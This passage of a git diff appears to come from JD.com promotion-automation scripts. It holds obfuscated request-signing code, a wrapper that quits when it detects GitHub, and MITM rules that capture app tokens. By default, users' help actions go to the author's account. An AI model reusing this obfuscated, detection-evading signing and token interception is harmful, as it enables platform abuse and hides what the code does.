_0x522a40={'AesEncrypt':function AesEncrypt(_0x4562b8){var _0x24b556={'xBtoS':function(_0x33894c,_0x228f9a){return _0x5e1be5[_0x50c1('25','Ehp*')](_0x33894c,_0x228f9a);}};if(_0x5e1be5[_0x50c1('26','VKxZ')](_0x5e1be5[_0x50c1('27','48&e')],_0x5e1be5[_0x50c1('28','k1Z4')])){if(_0x4083de&&_0x5e1be5[_0x50c1('29','PoTt')](Object[_0x50c1('2a','KMz@')](_0x4083de)[_0x50c1('2b','DOsV')],0x0)){var _0x45d7e2=Object[_0x50c1('2c','9qQF')](_0x4083de)[_0x50c1('2d','48&e')](function(_0x3fb059){return _0x24b556[_0x50c1('2e','S9Ns')](_0x24b556[_0x50c1('2f','PoTt')](_0x3fb059,'='),_0x4083de[_0x3fb059]);})[_0x50c1('30','AgDC')]('&');return _0x5e1be5[_0x50c1('31','48&e')](_0x4562b8[_0x50c1('32','s)LE')]('?'),0x0)?_0x5e1be5[_0x50c1('33','RHMX')](_0x5e1be5[_0x50c1('34','cPY%')](_0x4562b8,'&'),_0x45d7e2):_0x5e1be5[_0x50c1('35','@1x0')](_0x5e1be5[_0x50c1('25','Ehp*')](_0x4562b8,'?'),_0x45d7e2);}return _0x4562b8;}else{var _0x4083de=_0x3e9406[_0x50c1('36','*ii4')][_0x50c1('37','p0^z')][_0x50c1('38','c)40')](_0x4562b8);return _0x3e9406[_0x50c1('39','FK(4')][_0x50c1('3a','7^B*')](_0x4083de,_0x248dc4,{'iv':_0x12d918,'mode':_0x3e9406[_0x50c1('3b','48&e')][_0x50c1('3c','cPY%')],'padding':_0x3e9406[_0x50c1('3d','@eMl')][_0x50c1('3e','SKUI')]})[_0x50c1('3f','kV1]')][_0x50c1('40','[Wu3')]();}},'AesDecrypt':function AesDecrypt(_0x4562b8){var _0x4c8a29=_0x3e9406[_0x50c1('41','48&e')][_0x50c1('42','g8a8')][_0x50c1('43','IV09')](_0x4562b8),_0x39b3d1=_0x3e9406[_0x50c1('41','48&e')][_0x50c1('44','BG^f')][_0x50c1('45','N!n4')](_0x4c8a29);return _0x3e9406[_0x50c1('46','kV1]')][_0x50c1('47','UeQW')](_0x39b3d1,_0x248dc4,{'iv':_0x12d918,'mode':_0x3e9406[_0x50c1('48','f3Wj')][_0x50c1('49','c)40')],'padding':_0x3e9406[_0x50c1('4a','KMz@')][_0x50c1('4b','[Wu3')]})[_0x50c1('4c','p0^z')](_0x3e9406[_0x50c1('4d','#o@B')][_0x50c1('4e','188E')])[_0x50c1('4f','#s[4')]();},'Base64Encode':function Base64Encode(_0x4562b8){var _0x2b69a4=_0x3e9406[_0x50c1('4d','#o@B')][_0x50c1('50','X[A!')][_0x50c1('43','IV09')](_0x4562b8);return _0x3e9406[_0x50c1('51','X[A!')][_0x50c1('52','c)40')][_0x50c1('53','k1Z4')](_0x2b69a4);},'Base64Decode':function Base64Decode(_0x4562b8){var _0x3d3752={'wUqMI':function(_0x54b178,_0x2e78d2){return _0x5e1be5[_0x50c1('54','cmpJ')](_0x54b178,_0x2e78d2);},'YaSlQ':function(_0x18154a,_0x33bc95){return _0x5e1be5[_0x50c1('55','#o@B')](_0x18154a,_0x33bc95);}};if(_0x5e1be5[_0x50c1('56','qs2T')](_0x5e1be5[_0x50c1('57','@1x0')],_0x5e1be5[_0x50c1('58','YCIf')])){return _0x3e9406[_0x50c1('59','yi#6')][_0x50c1('5a','X[A!')][_0x50c1('38','c)40')](_0x4562b8)[_0x50c1('5b','YCIf')](_0x3e9406[_0x50c1('41','48&e')][_0x50c1('5c','DPss')]);}else{var _0x5e6274=Object[_0x50c1('5d','kV1]')](_0x15bedb)[_0x50c1('5e','@eMl')](function(_0x405686){return _0x3d3752[_0x50c1('5f','N!n4')](_0x3d3752[_0x50c1('60','AgDC')](_0x405686,'='),_0x15bedb[_0x405686]);})[_0x50c1('61','qRp%')]('&');return _0x5e1be5[_0x50c1('62','KG3M')](_0x4562b8[_0x50c1('63','QIy0')]('?'),0x0)?_0x5e1be5[_0x50c1('64','p0^z')](_0x5e1be5[_0x50c1('65','RHMX')](_0x4562b8,'&'),_0x5e6274):_0x5e1be5[_0x50c1('66','c)40')](_0x5e1be5[_0x50c1('67','qRp%')](_0x4562b8,'?'),_0x5e6274);}},'Md5encode':function Md5encode(_0x4562b8){if(_0x5e1be5[_0x50c1('68','#s[4')](_0x5e1be5[_0x50c1('69','#s[4')],_0x5e1be5[_0x50c1('6a','CJw1')])){var _0x46e363=_0x15bedb[_0x3e9406];_0x4562b8[_0x50c1('6b','QIy0')](_0x46e363)&&!_0x52c084&&(_0x52c084=!0x0);}else{return _0x3e9406[_0x50c1('6c','kV1]')](_0x4562b8)[_0x50c1('6d','kV1]')]();}},'keyCode':_0x5e1be5[_0x50c1('6e','kV1]')]};const _0x10c259=function sortByLetter(_0x4562b8,_0x505fb9){if(_0x5e1be5[_0x50c1('6f','M4vD')](_0x4562b8,Array)){_0x505fb9=_0x505fb9||[];for(var _0x3d9086=0x0;_0x5e1be5[_0x50c1('70','f3Wj')](_0x3d9086,_0x4562b8[_0x50c1('71','@ri*')]);_0x3d9086++)_0x505fb9[_0x3d9086]=_0x5e1be5[_0x50c1('72','c)40')](sortByLetter,_0x4562b8[_0x3d9086],_0x505fb9[_0x3d9086]);}else!_0x5e1be5[_0x50c1('73','#o@B')](_0x4562b8,Array)&&_0x5e1be5[_0x50c1('74','*ii4')](_0x4562b8,Object)?(_0x505fb9=_0x5e1be5[_0x50c1('75','UeQW')](_0x505fb9,{}),Object[_0x50c1('76','cmpJ')](_0x4562b8)[_0x50c1('77','qRp%')]()[_0x50c1('78','qs2T')](function(_0x3d9086){_0x505fb9[_0x3d9086]=_0x5e1be5[_0x50c1('79','AgDC')](sortByLetter,_0x4562b8[_0x3d9086],_0x505fb9[_0x3d9086]);})):_0x505fb9=_0x4562b8;return _0x505fb9;};const _0x29a333=function isInWhiteAPI(_0x4562b8){var _0x3931ba={'UPzAq':function(_0x132f63,_0x15ffa6){return _0x5e1be5[_0x50c1('7a','VKxZ')](_0x132f63,_0x15ffa6);},'aCtWR':function(_0x1b9ea2,_0x418561){return _0x5e1be5[_0x50c1('7b','QIy0')](_0x1b9ea2,_0x418561);}};if(_0x5e1be5[_0x50c1('7c','g8a8')](_0x5e1be5[_0x50c1('7d','UeQW')],_0x5e1be5[_0x50c1('7e','BG^f')])){for(var _0x459be0=[_0x5e1be5[_0x50c1('7f','s)LE')],_0x5e1be5[_0x50c1('80','kV1]')]],_0x218261=!0x1,_0x3e9406=0x0;_0x5e1be5[_0x50c1('81','CJw1')](_0x3e9406,_0x459be0[_0x50c1('82','k1Z4')]);_0x3e9406++){if(_0x5e1be5[_0x50c1('83','[Wu3')](_0x5e1be5[_0x50c1('84','c)40')],_0x5e1be5[_0x50c1('85','s)LE')])){return _0x3931ba[_0x50c1('86','S9Ns')](_0x3931ba[_0x50c1('87','Ehp*')](_0x4562b8,'='),_0x459be0[_0x4562b8]);}else{var _0x436006=_0x459be0[_0x3e9406];_0x4562b8[_0x50c1('88','PoTt')](_0x436006)&&!_0x218261&&(_0x218261=!0x0);}}return _0x218261;}else{_0x459be0[_0x218261]=_0x5e1be5[_0x50c1('89','48&e')](sortByLetter,_0x4562b8[_0x218261],_0x459be0[_0x218261]);}};const _0x2a2c3c=function addQueryToPath(_0x4562b8,_0xf37fc9){var _0x39723c={'TPNkp':function(_0x722ea9,_0x350bb3){return _0x5e1be5[_0x50c1('8a','BG^f')](_0x722ea9,_0x350bb3);}};if(_0xf37fc9&&_0x5e1be5[_0x50c1('8b','BG^f')](Object[_0x50c1('8c','cPY%')](_0xf37fc9)[_0x50c1('8d','KG3M')],0x0)){var _0x47e0e3=Object[_0x50c1('8e','PoTt')](_0xf37fc9)[_0x50c1('8f','DPss')](function(_0x4562b8){return _0x39723c[_0x50c1('90','qs2T')](_0x39723c[_0x50c1('91','@eMl')](_0x4562b8,'='),_0xf37fc9[_0x4562b8]);})[_0x50c1('92','188E')]('&');return _0x5e1be5[_0x50c1('93','qs2T')](_0x4562b8[_0x50c1('94','@eMl')]('?'),0x0)?_0x5e1be5[_0x50c1('95','qs2T')](_0x5e1be5[_0x50c1('96','@1x0')](_0x4562b8,'&'),_0x47e0e3):_0x5e1be5[_0x50c1('97','qRp%')](_0x5e1be5[_0x50c1('98','BG^f')](_0x4562b8,'?'),_0x47e0e3);}return _0x4562b8;};const _0x40f690=function apiConvert(_0x4562b8){var _0xd2baca={'eHPys':function(_0x5982a8,_0x2e7446){return _0x5e1be5[_0x50c1('99','RHMX')](_0x5982a8,_0x2e7446);},'BGoRN':_0x5e1be5[_0x50c1('9a','QIy0')]};if(_0x5e1be5[_0x50c1('9b','7^B*')](_0x5e1be5[_0x50c1('9c','QIy0')],_0x5e1be5[_0x50c1('9d','7vaA')])){for(var _0x5ed4be=_0x12d918,_0x4e947a=0x0;_0x5e1be5[_0x50c1('9e','k1Z4')](_0x4e947a,_0x5ed4be[_0x50c1('9f','yi#6')]);_0x4e947a++){if(_0x5e1be5[_0x50c1('a0','PoTt')](_0x5e1be5[_0x50c1('a1','p0^z')],_0x5e1be5[_0x50c1('a2','@ri*')])){var _0x3e9406=_0x5ed4be[_0x4e947a];_0x4562b8[_0x50c1('a3','DOsV')](_0x3e9406)&&!_0x4562b8[_0x50c1('a4','@1x0')](_0x5e1be5[_0x50c1('a5','c)40')](_0x5e1be5[_0x50c1('a6','KMz@')],_0x3e9406))&&(_0x4562b8=_0x4562b8[_0x50c1('a7','#s[4')](_0x3e9406,_0x5e1be5[_0x50c1('a8','IV09')](_0x5e1be5[_0x50c1('9a','QIy0')],_0x3e9406)));}else{var _0x4f6d0b=_0x3e9406[_0x50c1('a9','qs2T')][_0x50c1('aa','s)LE')][_0x50c1('38','c)40')](_0x4562b8);return _0x3e9406[_0x50c1('ab','#s[4')][_0x50c1('ac','tFYr')][_0x50c1('ad','IV09')](_0x4f6d0b);}}return _0x4562b8;}else{var _0x3fa031=_0x5ed4be[_0x4e947a];_0x4562b8[_0x50c1('ae','188E')](_0x3fa031)&&!_0x4562b8[_0x50c1('af','^XlU')](_0xd2baca[_0x50c1('b0','cmpJ')](_0xd2baca[_0x50c1('b1','DOsV')],_0x3fa031))&&(_0x4562b8=_0x4562b8[_0x50c1('b2','M4vD')](_0x3fa031,_0xd2baca[_0x50c1('b3','188E')](_0xd2baca[_0x50c1('b4','#s[4')],_0x3fa031)));}};var _0x15bedb=_0x4562b8,_0x52c084=(_0x15bedb[_0x50c1('b5','cmpJ')],_0x15bedb[_0x50c1('b6','c)40')]);_0x52c084+=_0x5e1be5[_0x50c1('b7','7^B*')](_0x5e1be5[_0x50c1('b8','qs2T')](_0x52c084[_0x50c1('b9','US(#')]('?'),-0x1)?'&':'?',_0x5e1be5[_0x50c1('ba','s)LE')]);var _0x37f351=function getTimeSign(_0x4562b8){if(_0x5e1be5[_0x50c1('bb','*ii4')](_0x5e1be5[_0x50c1('bc','@eMl')],_0x5e1be5[_0x50c1('bd','H4)l')])){var _0x1f5dc7=_0x3e9406[_0x50c1('be','k1Z4')][_0x50c1('bf','S9Ns')][_0x50c1('c0','[Wu3')](_0x4562b8),_0x5cdf16=_0x3e9406[_0x50c1('21','M4vD')][_0x50c1('c1','UeQW')][_0x50c1('c2','cmpJ')](_0x1f5dc7);return _0x3e9406[_0x50c1('c3','g8a8')][_0x50c1('c4','FK(4')](_0x5cdf16,_0x248dc4,{'iv':_0x12d918,'mode':_0x3e9406[_0x50c1('c5','UeQW')][_0x50c1('c6','S9Ns')],'padding':_0x3e9406[_0x50c1('c7','48&e')][_0x50c1('c8','YCIf')]})[_0x50c1('6d','kV1]')](_0x3e9406[_0x50c1('c9','CJw1')][_0x50c1('ca','^XlU')])[_0x50c1('cb','US(#')]();}else{var _0x15bedb=_0x4562b8[_0x50c1('cc','@eMl')],_0x52c084=_0x4562b8[_0x50c1('cd','PoTt')],_0x3e9406=_0x5e1be5[_0x50c1('ce','g8a8')](void 0x0,_0x52c084)?_0x5e1be5[_0x50c1('cf','M4vD')]:_0x52c084,_0x436006=_0x4562b8[_0x50c1('d0','c)40')],_0x12d918=_0x4562b8[_0x50c1('d1','s)LE')],_0x49e71f=_0x5e1be5[_0x50c1('d2','RHMX')](void 0x0,_0x12d918)?{}:_0x12d918,_0x40c97f=_0x3e9406[_0x50c1('d3','s)LE')](),_0x41cd7a=_0x522a40[_0x50c1('d4','KG3M')],_0x4cc6fb=_0x49e71f[_0x5e1be5[_0x50c1('d5','DPss')]]||_0x49e71f[_0x5e1be5[_0x50c1('d6','@eMl')]]||'',_0x43d27f='',_0x341f8b=+new Date();return _0x43d27f=_0x5e1be5[_0x50c1('d7','CJw1')](_0x5e1be5[_0x50c1('d8','H4)l')],_0x40c97f)&&(_0x5e1be5[_0x50c1('d9','188E')](_0x5e1be5[_0x50c1('da','KMz@')],_0x40c97f)||_0x5e1be5[_0x50c1('db','*ii4')](_0x5e1be5[_0x50c1('dc','^XlU')],_0x4cc6fb[_0x50c1('dd','yi#6')]())&&_0x436006&&Object[_0x50c1('de','S9Ns')](_0x436006)[_0x50c1('df','qs2T')])?_0x522a40[_0x50c1('e0','IV09')](_0x5e1be5[_0x50c1('e1','KG3M')](_0x5e1be5[_0x50c1('e2','[Wu3')](_0x5e1be5[_0x50c1('e3','H4)l')](_0x5e1be5[_0x50c1('e4','wxfN')](_0x522a40[_0x50c1('e5','^XlU')](_0x522a40[_0x50c1('e6','DOsV')](_0x5e1be5[_0x50c1('e7','VKxZ')]('',JSON[_0x50c1('e8','wxfN')](_0x5e1be5[_0x50c1('e9','48&e')](_0x10c259,_0x436006))))),'_'),_0x41cd7a),'_'),_0x341f8b)):_0x522a40[_0x50c1('ea','tFYr')](_0x5e1be5[_0x50c1('eb','QIy0')](_0x5e1be5[_0x50c1('ec','#s[4')](_0x5e1be5[_0x50c1('ed','KMz@')]('_',_0x41cd7a),'_'),_0x341f8b)),_0x5e1be5[_0x50c1('ee','wxfN')](_0x29a333,_0x15bedb)&&(_0x15bedb=_0x5e1be5[_0x50c1('ef','g8a8')](_0x2a2c3c,_0x15bedb,{'lks':_0x43d27f,'lkt':_0x341f8b}),_0x15bedb=_0x5e1be5[_0x50c1('f0','S9Ns')](_0x40f690,_0x15bedb)),Object[_0x50c1('f1','[Wu3')](_0x4562b8,{'url':_0x15bedb});}}(_0x4562b8=Object[_0x50c1('f2','N!n4')](_0x4562b8,{'url':_0x52c084}));return _0x37f351;};_0xodV='jsjiami.com.v6'; +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_joy_run.js b/jd_joy_run.js new file mode 100644 index 0000000..e8815c0 --- /dev/null +++ b/jd_joy_run.js @@ -0,0 +1,57 @@ +/* +Last Modified time: 2021-6-6 21:22:37 +宠汪汪邀请助力与赛跑助力脚本,感谢github@Zero-S1提供帮助 +活动入口:京东APP我的-更多工具-宠汪汪 +token时效很短,几个小时就失效了,闲麻烦的放弃就行 +每天拿到token后,可一次性运行完毕即可。 +互助码friendPin是京东用户名,不是昵称(可在京东APP->我的->设置 查看获得) +token获取途径: +1、微信搜索'来客有礼'小程序,登陆京东账号,点击底部的'我的'或者'发现'两处地方,即可获取Token,脚本运行提示token失效后,继续按此方法获取即可 +2、或者每天去'来客有礼'小程序->宠汪汪里面,领狗粮->签到领京豆 也可获取Token(此方法每天只能获取一次) +脚本里面有内置提供的friendPin,如果你没有修改脚本或者BoxJs处填写自己的互助码,会默认给脚本内置的助力。 + +docker 设置环境变量 JOY_RUN_HELP_MYSELF 为true,则开启账号内部互助.默认关闭(即给脚本作者内置的助力). + +[MITM] +hostname = draw.jdfcloud.com + +===========Surge================= +[Script] +宠汪汪邀请助力与赛跑助力 = type=cron,cronexp="15 10 * * *",wake-system=1,timeout=3600,script-path=jd_joy_run.js +宠汪汪助力更新Token = type=http-response,pattern=^https:\/\/draw\.jdfcloud\.com(\/mirror)?\/\/api\/user\/addUser\?code=, requires-body=1, max-size=0, script-path=jd_joy_run.js +宠汪汪助力获取Token = type=http-request,pattern=^https:\/\/draw\.jdfcloud\.com(\/mirror)?\/\/api\/user\/user\/detail\?openId=, max-size=0, script-path=jd_joy_run.js + +===================Quantumult X===================== +[task_local] +# 宠汪汪邀请助力与赛跑助力 +15 10 * * * jd_joy_run.js, tag=宠汪汪邀请助力与赛跑助力, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdcww.png, enabled=true +[rewrite_local] +# 宠汪汪助力更新Token +^https:\/\/draw\.jdfcloud\.com(\/mirror)?\/\/api\/user\/addUser\?code= url script-response-body jd_joy_run.js +# 宠汪汪助力获取Token +^https:\/\/draw\.jdfcloud\.com(\/mirror)?\/\/api\/user\/user\/detail\?openId= url script-request-header jd_joy_run.js + +=====================Loon===================== +[Script] +cron "15 10 * * *" script-path=jd_joy_run.js, tag=宠汪汪邀请助力与赛跑助力 +http-response ^https:\/\/draw\.jdfcloud\.com(\/mirror)?\/\/api\/user\/addUser\?code= script-path=jd_joy_run.js, requires-body=true, timeout=10, tag=宠汪汪助力更新Token +http-request ^https:\/\/draw\.jdfcloud\.com(\/mirror)?\/\/api\/user\/user\/detail\?openId= script-path=jd_joy_run.js, timeout=3600, tag=宠汪汪助力获取Token +*/ +!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { + var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, 